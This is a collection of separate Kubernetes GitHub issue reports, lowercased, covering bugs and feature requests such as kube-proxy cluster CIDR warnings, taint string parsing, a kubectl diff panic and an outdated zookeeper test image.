kubernetes version：1.5.3\r hi、developers：\r please help me to solve a problem！\r \r  kube-proxy 26186 : w0331 17:56:08.502721   26186 proxier.go:306  clustercidr not specified, unable to distinguish between internal and external traffi \r \r how do specified cluster clustercidr?\r my config:\r   service \r user=root\r execstart=/opt/bin/kube-apiserver \\\r  --insecure-bind-address=0.0.0.0 \\\r  --insecure-port=8080 \\\r  --etcd-servers=http://172.19.7.110:2379 \\\r  --logtostderr=true \\\r  --allow-privileged=false \\\r  --service-cluster-ip-range=192.168.0.0/16 \\\r  --admission-control=namespacelifecycle,limitranger,serviceaccount,securitycontextdeny,resourcequota \\\r  --service-node-port-range=30000-32767 \\\r  --advertise-address=172.19.7.110 \\\r  --client-ca-file=/srv/kubernetes/cacert.pem \\\r  --tls-cert-file=/srv/kubernetes/servercert.pem \\\r  --tls-private-key-file=/srv/kubernetes/serverkey.pem\r restart=on-failure\r type=notify\r limitnofile=65536 \r \r   service \r user=root\r execstart=/opt/bin/kube-controller-manager \\\r   --master=127.0.0.1:8080 \\\r   --root-ca-file=/srv/kubernetes/cacert.pem \\\r   --service-account-private-key-file=/srv/kubernetes/serverkey.pem \\\r   --logtostderr=true\r restart=on-failure\r limitnofile=6553 \r \r \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r on gcp, when you set --hostname-override, the cloud provider assumes that it is instance name of the vm.\r \r   what you expected to happen  :\r i expect  kubelet  to have separate parameter to provide cloud id to the gce cloud provider so that i can generate kubelet certificate before actually starting the worker. \r \r   how to reproduce it  as minimally and precisely as possible   :\r on gcp, start kubelet with --hostname-override which is not the same as gcp instance name of the vm, but is resolvable by some dns which is configured on the master.\r \r   anything else we need to know?  :\r other cloud providers   i checked aws, vsphere and openstack  do not make such an assumption. they source the cloud id from other places. maybe the behaviour should be kept consistent.\r \r here are the possible places of change:\r -  assumption that gce instance name is same as node name  https://github.com/kubernetes/kubernetes/blob/2f39e8a04550aff88537c608edea1faf2b088678/pkg/cloudprovider/providers/gce/gce_util.go l128-l132\r  \r -  assumption that hostname override should change node name  https://github.com/kubernetes/kubernetes/blob/2f39e8a04550aff88537c608edea1faf2b088678/pkg/kubelet/kubelet.go l360-l362 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu trusty\r - kernel  e.g.  uname -a  : linux 4.4.0-103-generic\r - install tools: cfcr  kubo  \r - others: n/a\r

is this a bug report or feature request?  :\r  \r   what happened  :\r currently, when \ dns horizontal autoscaling\  test fails, we have no visibility of the cause  e.g. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/5323 . it would be super helpful if we dump logs from the dns-horizontal-autoscaler pod.\r \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r pod-infra-container-image flag of kubelet does not work when using cri-  as container runtime. both cri-o and cri-containerd has its own configuration to setup sandbox image.\r \r   what you expected to happen  :\r either cri-  uses this flag for sandbox image configuration or we need to update the description of this flag.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run cri-o or cri-containerd and set pod-infra-container-image flag on kubelet with another image.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r this is an azure cloud provider implementation related to feature:  dynamic maximum volume count  https://github.com/kubernetes/features/issues/554 \r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area cloudprovider\r /assign\r

now, we're making great progress with implementing the kep about moving componentconfig types to staging repos  kubernetes/community 2354  https://github.com/kubernetes/community/pull/2354 , and  there are many prs that are in progress in both in parallel and serial. here's a work tracker for related prs. there is a follow-up pr to the initial kep to accept this kep as  implementable  as well: https://github.com/kubernetes/community/pull/2515\r \r first, create required meta-repos:\r  -  x  k8s.io/apimachinery:  https://github.com/kubernetes/kubernetes/pull/66058  https://github.com/kubernetes/kubernetes/pull/66058 \r  -  x  k8s.io/apiserver:  https://github.com/kubernetes/kubernetes/pull/66059  https://github.com/kubernetes/kubernetes/pull/66059 \r \r preparation work for making the code moves possible:\r \r -  x  rename kubeconfigfile to kubeconfig in clientconnectionconfiguration  https://github.com/kubernetes/kubernetes/pull/67149  https://github.com/kubernetes/kubernetes/pull/67149 \r -  x  remove references to  pkg/apis/componentconfig/install  and fix inconsistencies  https://github.com/kubernetes/kubernetes/pull/67090  https://github.com/kubernetes/kubernetes/pull/67090 \r -  x  write manually-created conversion funcs for shared componentconfig types  https://github.com/kubernetes/kubernetes/pull/67159  https://github.com/kubernetes/kubernetes/pull/67159 \r -  x  remove defaulting from shared componentconfig types  https://github.com/kubernetes/kubernetes/pull/67207  https://github.com/kubernetes/kubernetes/pull/67207 \r -  x  remove references to the structs that have moved to their own packages  https://github.com/kubernetes/kubernetes/pull/66722  https://github.com/kubernetes/kubernetes/pull/66722 \r -  x  refactor the kube-controller-manager componentconfig structs  https://github.com/kubernetes/kubernetes/pull/66993  https://github.com/kubernetes/kubernetes/pull/66993 \r \r kube-scheduler\r -  x  moving kubeschedulerconfiguration from componentconfig api types to staging repos  https://github.com/kubernetes/kubernetes/pull/66916  https://github.com/kubernetes/kubernetes/pull/66916 \r \r kube-controller-manager:\r -  x  moving genericcontrollermanagerconfiguration from  pkg/apis/componentconfig  to  k8s.io/controller-manager :   https://github.com/kubernetes/kubernetes/pull/67015  https://github.com/kubernetes/kubernetes/pull/67015 \r    - decided as a non-goal for this release at least, instead the generic parts will reside in the kcm repo.\r -  x  move kube-controller-manager componentconfig external types to  k8s.io/kube-controller-manager :   https://github.com/kubernetes/kubernetes/pull/67469  https://github.com/kubernetes/kubernetes/pull/67469 \r -  x  move the cloudcontrollermanagerconfiguration to an api group in  cmd/ :  https://github.com/kubernetes/kubernetes/pull/68233  initial pr that was later carried: https://github.com/kubernetes/kubernetes/pull/67689 \r \r kube-proxy\r \r -  x  move kubeproxy componentconfig external types to  k8s.io/kube-proxy   https://github.com/kubernetes/kubernetes/pull/67688 \r \r kubelet:\r  -  x  move kubelet componentconfig external types to  k8s.io/kubelet   https://github.com/kubernetes/kubernetes/pull/67263  https://github.com/kubernetes/kubernetes/pull/67263 \r \r general cleanup pr after all the changes:\r  -  x  consolidate componentconfig code standards https://github.com/kubernetes/kubernetes/pull/68195

after https://github.com/kubernetes/kubernetes/pull/62111 has been merged, our large tests started behaving a bit strange. in particular, when 5k node cluster was reported as up  with all nodes being ready , the test itself was only discovering 4k or even less nodes as schedulable.\r example is here:\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/192/\r \r there were a couple issues that were fixed in the meantime by @mborsz mostly he fixed validation: https://github.com/kubernetes/kubernetes/pull/67766\r \r that said, that issue clearly shows that tainting nodes by conditions visibly slows down the startup, because now, once the condition are reported as \ healthy\  the node has to be processed by nodelifecycle controller to remove the corresponding taints.\r \r i didn't yet take a look if the problem here is its throughput or is it related to the fact that there are so many nodes to process at once, but given my experience in the past, i suspect that it may be serialized processing with reporting that in a single thread...\r \r @k82cn @bsalamat @kubernetes/sig-scalability-bugs \r @shyamjvs @mborsz

\r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r \r pod of daemonset was not evicted when node was down.\r \r   what you expected to happen  :\r \r pod should be evicted when node was down.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create daemonset to run on some of cluster nodes.\r \r 2. create service and set pod selector to point to pods of the daemonset.\r \r 3. shut down one of cluster node. still see pod was running since daemonset by default tolerate taint  node.kubernetes.io/not-ready:noexcute  and  node.kubernetes.io/unreachable:noexcute .\r \r 4. access service. it will fail randomly as the service endpoints were not updated.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-34-generic\r - install tools:\r - others:\r

what happened  : the   tostring  receiver on the  v1.taint  type generates the string  https://github.com/kubernetes/kubernetes/blob/33b20f2/pkg/apis/core/taint.go l33  \ key:effect\  when the  value  of the taint is the empty string.\r \r because the generated string has no  =  character, when it is passed to the  parsetaint  method in  pkg/util/taints , the method returns an error.\r \r i discovered this issue by defining a taint in a kubeadm configuration file. kubeadm converted the taint to a string, then passed the string to kubelet using the  --register-with-taints  flag, and kubelet threw an error.\r \r   what you expected to happen  :\r i expect the  tostring  receiver on the  v1.taint  type to only generate strings that are accepted by the  parsetaint  method in  pkg/util/taints . conversely, i expect the  parsetaint  method to accept any string generated by the  tostring  receiver on the  v1.taint  type.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the following program demonstrates the issue. i compiled it using the  release-1.13  branch. it initializes a  taint  struct with the  value  field left as an empty string. it then converts the struct to a string. finally, it calls  utils.newtaintsvar , just as kubelet does  here  https://github.com/kubernetes/kubernetes/blob/release-1.13/cmd/kubelet/app/options/options.go l406 . subsequently,  a call to  set    https://github.com/kubernetes/kubernetes/blob/5fdad5c/pkg/util/taints/taints.go l85  returns an error that originates in the  parsetaint  method.\r    \r package main\r \r import  \r \t\ fmt\ \r \r \t\ k8s.io/api/core/v1\ \r \t\ k8s.io/kubernetes/pkg/apis/core\ \r \tutiltaints \ k8s.io/kubernetes/pkg/util/taints\ \r  \r \r func main   {\r \tt := v1.taint{\r \t\tkey:    \ node-role.kubernetes.io/master\ ,\r \t\teffect: v1.tainteffectnoschedule,\r \t}\r \ts := t.tostring  \r \tptr :=   core.taint{}\r \ttv := utiltaints.newtaintsvar &ptr \r \tif err := tv.set s ; err != nil {\r \t\tfmt.println err \r \t}\r }\r \r    \r output:\r    \r invalid taint spec: node-role.kubernetes.io/master:noschedule\r

i found recently that, when spinning a kubelet up with a kubeconfig file, subtle differences in file format may lead to failed authorization.    we should probably verify that there aren't empty/incomplete/unprocessed fields in the kubeconfig on startup.      -       token:kubelet +  token: kubelet      is enough to break kubelet startup if sending a tokens file for auth.  the error message you get is \ server needs credentials from client\ .

see https://github.com/kubernetes/kubernetes/pull/26694 for details.  specifically: 1. don't call ensurednsrecords   if the dns provider has not been initialized. 2. don't discard errors returned by getclusterzonenames    cc: @mfanjie fyi

we've already seen a couple of bugs   45977,  46121  caused by kuberuntime not populating the fields correctly. this is the type of bug that could easily be caught by unit tests. \r we should improve the test coverage of this package.\r \r /cc @feiskyer @random-liu

we need a \ how to set up ip masquerade\  doc or similar for ip-masq-agent.\r \r @dnardo @mtaufen

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45894/pull-kubernetes-e2e-gce-etcd3/31210/\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:80\r may 20 10:37:31.574: timeout waiting 15m0s for pods size to be 2\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:344\r

we have to jump through some significant gymnastics to make match version work  it happens when clients are created, but we want that to be abstract, but then we have to make sure it only happens once... .  since the original intent was to verify your client tools, why not make it part of \ kubectl version\  via an optional check \ --check\ ?  we can then unplumb it from the depths of the tools, and ensure all our test cases and test suites invoke it before build  test-cmd and e2e .  thoughts?

is this a bug report or feature request?  :\r \r  \r   what happened  :\r    \r kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --configure-cbr0=true\r unknown flag: --configure-cbr0\r    \r \r   what you expected to happen  :\r as mentioned in documentation here https://kubernetes.io/docs/getting-started-guides/scratch/ networking i expected cbr0 to be created\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.2\r - os  e.g. from /etc/os-release :\r debian 9.3

is this a bug report or feature request?  : bug\r \r   \r \r   what happened  : i was testing a cluster-api machine controller, and i noticed a double channel close panic on test cleanup.\r \r   what you expected to happen  : no panic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a new shared informer.\r 2. concurrently start and add a listener.\r \r there is a path where it can call  run  and  pop  on the  sharedprocessor  twice. when this happens, closing the stop channel will trigger a double close inside of  pop . also, this means that 2 copies of  run  are happening on the  sharedprocessor  which seems to violate the guarantee that events to a single handler will be delivered sequentially. aside from the double close panic on shutdown, this could be the source of heisenbugs in controllers relying on this guarantee.\r \r i'll have a pr out shortly.\r \r cc @kubernetes/sig-api-machinery-bugs

failing job\r    sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster&include-filter-by-regex=dns%20configmap%20nameserver%20should%20be%20able%20to%20change%20stubdomain%20configuratio \r \r    failing test\r  dns configmap nameserver should be able to change stubdomain configuration  slow  serial  \r  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster/2115 \r \r has been failing consistently since 5/8\r \r  / /  /milestone v1.11\r @kubernetes/sig-network-bugs\r /assign @mrhohn \r cc @jberkus @tpepper\r \r @mrhohn @grayluck can eiother of you please look into this? this is currently failing in sig-release-master-upgrade suite and will potentially block beta cut for v1.11 which is slated for 5/15.\r

what happened  :\r these tests are errantly listed as   conformance    ref: https://github.com/kubernetes/kubernetes/pull/67084  but aren't actually run as part of conformance.  they need to be moved to test/e2e/common to be included.\r \r to my eyes they may meet the criteria for conformance.  there's definitely nothing about them that is node specific.  they should be running as part of our regular ci, and they should probably be running as presubmits.  porting them to test/e2e/common would cause this to happen.\r \r   /area test\r /assign @mgdevstack @mkurylec

is this a feature request?  :\r \r  \r \r   what happened  :\r maxwaitforunmountduration is set hardcoded in k8s to 6 minutes so the user cannot change its timing. so a detach of a pvc will always have to wait for 6 minutes. \r \r   what you expected to happen  :\r maxwaitforunmountduration should be configurable  probably in the pod spec or globally .\r  \r   how to reproduce it  as minimally and precisely as possible   :\r stop a pod with pvc, and make the unmount operation to stuck more then 6 minutes. then a detach will be triggered to this pvc.   and there is no way to shrink this 6 minutes.\r \r   anything else we need to know?  :\r was discussed as part of https://github.com/kubernetes/kubernetes/issues/65392\r \r   environment  :\r - kubernetes version 1.8+\r

@wojtek-t @lavalamp @davidopp   we should definitely be using watch for this...  not sure which bit is doing it.

i would like to be able to write a service in which i can designate the externalip of the node as destination address, instead of the ip the node actually has. the externalip is already contained in the node's information  can be gotten via  kubectl get node foo -o yaml  .  what would happen is, that kubernetes would resolve the externalip to the actual lan ip via the node information and then set up the corresponding service with the actual address of the node. when a node joins, leaves or its externalip changes, the services are reevaluated and updated.  my use case for this is, that i can only use a certain set of ips for my nodes and they are not directly bound to them on an interface, but dnated. currently, i have to change all the service definitions to use the actual ip of the node  the private ip that is bound to the node  when i rebuild my cluster or when a node died and was replaced. my environment is aws.

https://github.com/kubernetes/kubernetes/blob/4220b7303e3ac92e67c9644b4c5bb91621108961/pkg/cloudprovider/providers/aws/aws.go l1025\r \r https://github.com/kubernetes/kubernetes/blob/4220b7303e3ac92e67c9644b4c5bb91621108961/pkg/cloudprovider/providers/aws/aws.go l1064\r \r these two methods currently just throw \ unimplemented\  errors.

device plugins expose an allocate api which is not expected to be idempotent.\r kubelet checkpoints devices allocated to a pod. \r the artifacts  env vars, mounts, etc  provided by device plugins as part of allocation are not checkpointed by the kubelet.\r so in the event of a kubelet restart and pod  re start, kubelet will have to re invoke \ allocate\  on a pre-allocated device.\r to solve this we either require device plugin allocate to be idempotent which requires plugins keeping track of allocations, or,\r kubelet checkpoint artifacts provided by device plugins.\r \r cc @kubernetes/sig-node-bugs \r \r

what happened  :\r a test failed in an  unrelated pr  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49705/pull-kubernetes-unit/55317/  because of the data race in grpc library. it is documented here https://github.com/grpc/grpc-go/issues/1316 and is fixed already.\r \r an update to the grpc library is necessary to pick up the fix. not sure which sig owns this.\r \r   

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r needs to indicate that  none  dns policy is controlled by a feature gate and by alpha. it also needs to note that only 1.9 or later kubernetes servers will allow the none value.\r \r needs to be fixed for 1.9 so that public api documentation is correct.\r \r refer https://github.com/kubernetes/kubernetes/pull/55848 discussion_r153079403.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  \r \r \r   what happened  :\r hope to get container level label & gpu metrics from cavisor. kubelet build-in cadvisor can't get container label & no entrypoint to config customize configuration for cadvisor\r   what you expected to happen  :\r kubelet build-in cadvisor could report container customize labels\r could config cadvisor get gpu metrics.\r   how to reproduce it  as minimally and precisely as possible   :\r just deploy kubernetes and access node's http://hostip:4194/metrics to see the metrics.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration: azure vm\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : linux paigcr-a-gpu-1001 4.13.0-1007-azure  9-ubuntu smp thu jan 25 10:47:32 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

using    dummy-list.yaml    as an example:\r    \r kind: list\r apiversion: v1\r items:\r - apiversion: v1\r   kind: pod\r   metadata:\r     name: dummy-pod\r   spec:\r     containers:\r       - name: dummy-pod\r         image: ubuntu\r         command:  \ /bin/bash\ , \ -ec\ , \ while :; do echo '.'; sleep 5 ; done\  \r     restartpolicy: always\r    \r \r create pod by    kubectl apply -f dummy-list.yaml   .\r check the pod is running by    kubectl get pods   .\r then run diff by    kubectl alpha diff -f dummy-list.yaml   .\r \r it outputs errors:\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x28 pc=0x10fb11f \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/resource.  helper .get 0xc420a40640, 0x18349cd, 0x7, 0xc4217c8400, 0x9, 0x16a2c00, 0x2, 0x20000000000, 0x8, 0x0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/helper.go:55 +0x3f\r k8s.io/kubernetes/pkg/kubectl/resource.  info .get 0xc4203b32d0, 0x2353fa0, 0xc4200abde0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:110 +0x9c\r k8s.io/kubernetes/pkg/kubectl/cmd.rundiff.func1 0xc4203b32d0, 0x0, 0x0, 0x0, 0x0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/diff.go:435 +0x91\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit.func1 0xc4203b32d0, 0x0, 0x0, 0xc420f76540, 0x1 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:383 +0xe7\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit.func1 0xc4203b3110, 0x0, 0x0, 0x120, 0xc420997b30 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:468 +0x28f\r k8s.io/kubernetes/pkg/kubectl/resource.  streamvisitor .visit 0xc4219bbd40, 0xc421799a40, 0x2350f20, 0xc4217c7a40 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:609 +0x2a7\r k8s.io/kubernetes/pkg/kubectl/resource.  filevisitor .visit 0xc4217c7960, 0xc421799a40, 0x0, 0x0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:558 +0x138\r k8s.io/kubernetes/pkg/kubectl/resource.visitorlist.visit 0xc42191b900, 0x1, 0x1, 0xc421799a40, 0x1, 0xc421799a40 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:245 +0x63\r k8s.io/kubernetes/pkg/kubectl/resource.  visitorlist .visit 0xc4217c7980, 0xc421799a40, 0x7f9dc0f9c000, 0x0 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x234b120, 0xc4217c7980, 0xc4219bbd80, 0xc4219bbe00, 0x1, 0xc4219bbe00 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:439 +0x9e\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc4217c79a0, 0xc4219bbe00, 0x20, 0x171f100 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x234b0a0, 0xc4217c79a0, 0xc4217c79e0, 0x3, 0x4, 0xc4217c7a00, 0x0, 0x234ada0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:374 +0x9b\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc421799a10, 0xc4217c7a00, 0x411148, 0x20 \r \t<autogenerated>:1 +0x62\r k8s.io/kubernetes/pkg/kubectl/resource.  result .visit 0xc4209bfa00, 0xc4217c7a00, 0x234afe0, 0xc42191b910 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:98 +0x62\r k8s.io/kubernetes/pkg/kubectl/cmd.rundiff 0x2374b40, 0xc4200b5860, 0xc420469260, 0xc420737e60, 0x1831d5c, 0x5, 0x183121a, 0x4, 0x0, 0x0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/diff.go:429 +0x389\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmddiff.func1 0xc42085c500, 0xc4206ee880, 0x0, 0x2 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/diff.go:120 +0x11e\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42085c500, 0xc4206ee820, 0x2, 0x2, 0xc42085c500, 0xc4206ee820 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42017f900, 0xc42090fed8, 0xc42090fee0, 0x12a05f200 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x334\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42017f900, 0x18ea490, 0x25145a0 \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/media/myssd/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r

 \r   what happened  :\r current context was set to cluster1.\r ran  kubectl config view --minify --context=cluster2  and got back information about cluster1 instead.\r \r   what you expected to happen  :\r i expected the output to be the cluster2 information\r \r   how to reproduce it  as minimally and precisely as possible   :\r have two contexts in your kube config, a and b\r run  kubectl config use-context a  to set a as current context\r run  kubectl config view --minify --context=b \r \r   anything else we need to know?  :\r i'd like to help contribute, so if this is an easy fix, someone point me in the right direction and i'll try to get it done.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - os  e.g. from /etc/os-release : macos 10.11.6\r - install tools: kubectl was installed via brew\r

 \r   what happened  :\r the test image pets/zookeeper-installer references an old alpha version of zookeeper:\r https://github.com/kubernetes/kubernetes/blob/3abb9f0ad7fd27a52679e395e73a62bebefea6fe/test/images/pets/zookeeper-installer/dockerfile l28-l29\r \r this can't be built anymore, as it no longer exists on the server:\r    \r step 5/8 : run wget -q -o /zookeeper-3.5.0-alpha.tar.gz http://apache.mirrors.pair.com/zookeeper/zookeeper-3.5.0-alpha/zookeeper-3.5.0-alpha.tar.gz &&     tar -xzf /zookeeper-3.5.0-alpha.tar.gz -c /tmp/ && mv /tmp/zookeeper-3.5.0-alpha /zookeeper && rm /zookeeper-3.5.0-alpha.tar.gz\r  ---> running in 944c505aef1f\r the command '/bin/sh -c wget -q -o /zookeeper-3.5.0-alpha.tar.gz http://apache.mirrors.pair.com/zookeeper/zookeeper-3.5.0-alpha/zookeeper-3.5.0-alpha.tar.gz &&     tar -xzf /zookeeper-3.5.0-alpha.tar.gz -c /tmp/ && mv /tmp/zookeeper-3.5.0-alpha /zookeeper && rm /zookeeper-3.5.0-alpha.tar.gz' returned a non-zero code: 8\r    \r \r sure enough, http://apache.mirrors.pair.com/zookeeper/ now lists beta versions for 3.5.x, as well as stable 3.4.x versions, but no 3.5.0 alphas.\r \r we probably should update this to a newer version, or alternately delete the test and image if it's no longer providing signal.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make -c test/images what=pets/zookeeper-installer \r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r some pods state is completed?what is that mean?they are not running.\r ceph-bootstrap-27srl                   0/1     completed   0          68m\r ceph-checkdns-8549694cd4-vpmcx         1/1     running     0          62m\r ceph-mds-cdcf54647-746cx               0/1     init:0/2    0          62m\r ceph-mds-cdcf54647-wvvcc               0/1     init:0/2    0          62m\r ceph-mds-keyring-generator-6qjt4       0/1     completed   0          68m\r ceph-mgr-f8b77f45-jdxbp                1/1     running     0          62m\r ceph-mgr-f8b77f45-l6thg                1/1     running     0          62m\r ceph-mgr-keyring-generator-kwlz5       0/1     completed   0          68m\r ceph-mon-check-795cc7dd95-tjtlx        1/1     running     0          68m\r ceph-mon-d26pn                         1/1     running     0          65m\r ceph-mon-keyring-generator-6gcz9       0/1     completed   0          68m\r ceph-osd-keyring-generator-zh95w       0/1     completed   0          68m\r ceph-pool-checkpgs-1548499500-xsngc    0/1     completed   0          12m  \r ceph-storage-keys-generator-nb5x7      0/1     completed   0          68m\r ingress-67f8b5b9b7-98z2m               1/1     running     0          110m\r ingress-67f8b5b9b7-bx2jx               1/1     running     0          110m\r ingress-error-pages-58cf575754-2l2d7   1/1     running     0          110m\r ingress-error-pages-58cf575754-crww7   1/1     running     0          110m\r   what you expected to happen  :\r pod state is running\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r  root@node1 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r centos 7\r

a few different users have run into questions when going through the  guestbook-go example  https://github.com/googlecloudplatform/kubernetes/tree/master/examples/guestbook-go  with a vagrant cluster. the vagrant getting started guide actually links to this example, yet it then uses the createexternalloadbalancer service parameter and expects the service's publicips field to be populated.  the example should be clarified for users running in an environment without cloudprovider support for external load balancers.

